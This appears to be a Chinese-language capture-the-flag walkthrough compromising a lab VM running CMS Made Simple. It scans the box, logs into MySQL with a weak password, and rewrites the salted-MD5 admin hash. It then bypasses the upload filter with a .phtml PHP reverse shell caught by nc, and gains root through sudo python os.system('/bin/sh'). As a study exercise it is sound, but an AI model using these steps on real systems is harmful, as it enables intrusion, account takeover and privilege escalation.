nmap -sV 10.0.2.5 //扫描目标端口信息

22端口存在 ssh服务
80端口存在 http服务
3306端口存在mysql服务。
whatweb http://10.0.2.5/ //获取目标80端口网页的信息

目标网站使用了 Apache 2.4.38
CMS是CMS-Made-Simple
searchsploit CMS Made Simple //检索该CMS的历史漏洞

可以进行ssh弱口令爆破
或者进行版本号搜索历史漏洞。
dirb http://10.0.2.5 //扫描目录
发现了后台登陆页面
http://10.0.2.5/admin/login.php

tips:针对登录框这里,我们可以测试弱口令,sql注入,万能密码,以及js泄露。
这里还存在个忘记密码的功能点,尝试测试,发现页面返回信息为空

进行弱口令爆破尝试,发现存在弱口令账户密码 root root

tips:当我们拥有了数据库权限的时候,可以尝试例如 udf提权,写入shell,或者通过修改数据来进行后台。
show variables like "secure_file_priv"; //

secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出
当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下
当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制
这里说明了导入数据(写入shell)只能在 /mysql-files这个目录,也间接证明了无法进行写入shell。
- show databases; //查询所有数据库
- use cmsms_db//进行 cmsms_db这个数据库
- show tables;//查询所有数据表
- select * from cms_users;//查询 cms_users这张表的内容

admin/fb67c6d24e756229aab021cea7605fb3
获得admin和他密码的加密字段。
通过hashid 来判断加密字段的加密方式

无法解密,通过网上的md5解密平台也无法解密

不过按照密文的格式,大概率是md5加密,那么我们可以进行密码的修改
将123456的md5加密后的字段,写入数据库当中。
UPDATE cms_users SET password='e10adc3949ba59abbe56e057f20f883e' WHERE username='admin'

我们在返回后台登陆页面进行登陆,发现依然登陆不了。

这里,我们通过网上开源的cms源码进行审计。
WebSVN - cmsmadesimple - Rev 12849 - ///下载源码
然后找到admin/login.php

这里进行了账户和密码的判断,如果存在,则保存了这个状态
$login_ops->save_authentication($user);
那么我们可以查看下LoadUserByUsername()这个函数
- function LoadUserByUsername($username, $password = '', $activeonly = true, $adminaccessonly = false)
- {
- // note: does not use cache
- $result = null;
- $gCms = CmsApp::get_instance();
- $db = $gCms->GetDb();
-
- $params = array();
- $where = array();
- $joins = array();
-
- $query = "SELECT u.user_id FROM ".CMS_DB_PREFIX."users u";
- $where[] = 'username = ?';
- $params[] = $username;
-
- if ($password != '') {
- $where[] = 'password = ?';
- $params[] = md5(get_site_preference('sitemask','').$password);
- }
-
- if ($activeonly == true) {
- $joins[] = CMS_DB_PREFIX."user_groups ug ON u.user_id = ug.user_id";
- $where[] = "u.active = 1";
- }
-
- if ($adminaccessonly == true) {
- $where[] = "admin_access = 1";
- }
-
- if( !empty($joins) ) $query .= ' LEFT JOIN '.implode(' LEFT JOIN ',$joins);
- if( !empty($where) ) $query .= ' WHERE '.implode(' AND ',$where);
-
- $id = $db->GetOne($query,$params);
- if( $id ) $result = self::LoadUserByID($id);
- return $result;
- }
可以看出,确实是使用md5加密的 ,不过这里有个 get_site_preference('sitemask',''),可以看出应该是拼接了一个字段,然后在进行md5加密。
- function get_site_preference($prefname, $defaultvalue = '')
- {
- return cms_siteprefs::get($prefname,$defaultvalue);
- }
可以看出,是调用了cms_siteprefs这个类的get方法
- public static function get($key,$dflt = '')
- {
- $prefs = global_cache::get(__CLASS__);
- if( isset($prefs[$key]) ) return $prefs[$key];
- return $dflt;
- }
首先他get了这个类本身,如果key这个参数不为空的话,就通过$key去$prefs拿,而$prefs则是去global_cache的缓存中去拿的,所有去看看这个类初始化时候的动作
建立时调用了 read 方法,进 read 查看
- public static function setup()
- {
- $obj = new \CMSMS\internal\global_cachable(__CLASS__,function(){
- return self::_read();
- });
- global_cache::add_cachable($obj);
- }
-
- /**
- * @ignore
- * @internal
- */
- private static function _read()
- {
- $db = CmsApp::get_instance()->GetDb();
-
- if( !$db ) return;
- $query = 'SELECT sitepref_name,sitepref_value FROM '.CMS_DB_PREFIX.'siteprefs';
- $dbr = $db->GetArray($query);
- if( is_array($dbr) ) {
- $_prefs = array();
- for( $i = 0, $n = count($dbr); $i < $n; $i++ ) {
- $row = $dbr[$i];
- $_prefs[$row['sitepref_name']] = $row['sitepref_value'];
- }
- return $_prefs;
- }
- }
$query = 'SELECT sitepref_name,sitepref_value FROM '.CMS_DB_PREFIX.'siteprefs';//查询CMS_DB_PREFIX这个表的siteprefs的值。
通过 sql 语句查出了数据库中的两个值,一个值做为键,一个值作为值。
接合之前代码看到的拼接,我们就可以知道,是通过将siteprefs的值和用户传输的密码进行拼接后进行md5加密,然后在和数据库里面的密码进行对比。
SELECT sitepref_value FROM cms_siteprefs where sitepref_name='sitemask';

那么这时候我们在生成新的密码a235561351813137123456
echo -n "a235561351813137123456" |md5sum
26abf34a26d74ef992a647963895b726
然后再写入数据库
UPDATE cms_users SET password='26abf34a26d74ef992a647963895b726' WHERE username='admin';
登陆成功

当我们进入后台的时候,就可以进行功能点的测试,比如xss,mysql,命令执行等。这里我们寻找文件上传的地方,将shell上传。
先再网上随便找个php木马(当然也可以通过一句话木马,哥斯拉等工具)
php-reverse-shell/php-reverse-shell.php at master · pentestmonkey/php-reverse-shell · GitHub

将ip和端口修改成kali虚拟机的地址,然后尝试上传。
通过burp Suite发现,上传后会失败

说明做了限制,可能是白名单也可能是黑名单。这里经过测试(例如PHP5,PHP4,pHp等骚姿势),发现phtml可以上传。

上传成功后尝试连接
nc -lvvp 4444

成功连接。
tips:linux权限提升的话,主要看的是suid提权,内核漏洞提权,定时任务提权等,也可以利用cs msf之类的自带的提权,或者一些提权的工具脚本,例如(linux-exploit-suggester linux-exploit-suggester2),这里主要以思路为主,所以就不直接上工具了。
尝试suid提权
find / -prem -u=s -type f 2>/dev/null
GTFOBins 这个可以查看那些是具有suid提权的参数。

发现并没有什么能提权的参数。
这里已经没什么思路了,通过到处翻文件目录,查看隐藏文件,终于在/var/www/html/admin下面看到了一个奇怪的东西

cat .htaccess

看着像base64 尝试解下

最后经过base64加base32解密,得到了一个账户密码,尝试登陆
su armour

登陆成功后 sudo -l 查看下

发现python是具备suid提权的。

sudo python -c 'import os; os.system("/bin/sh")'

提权成功!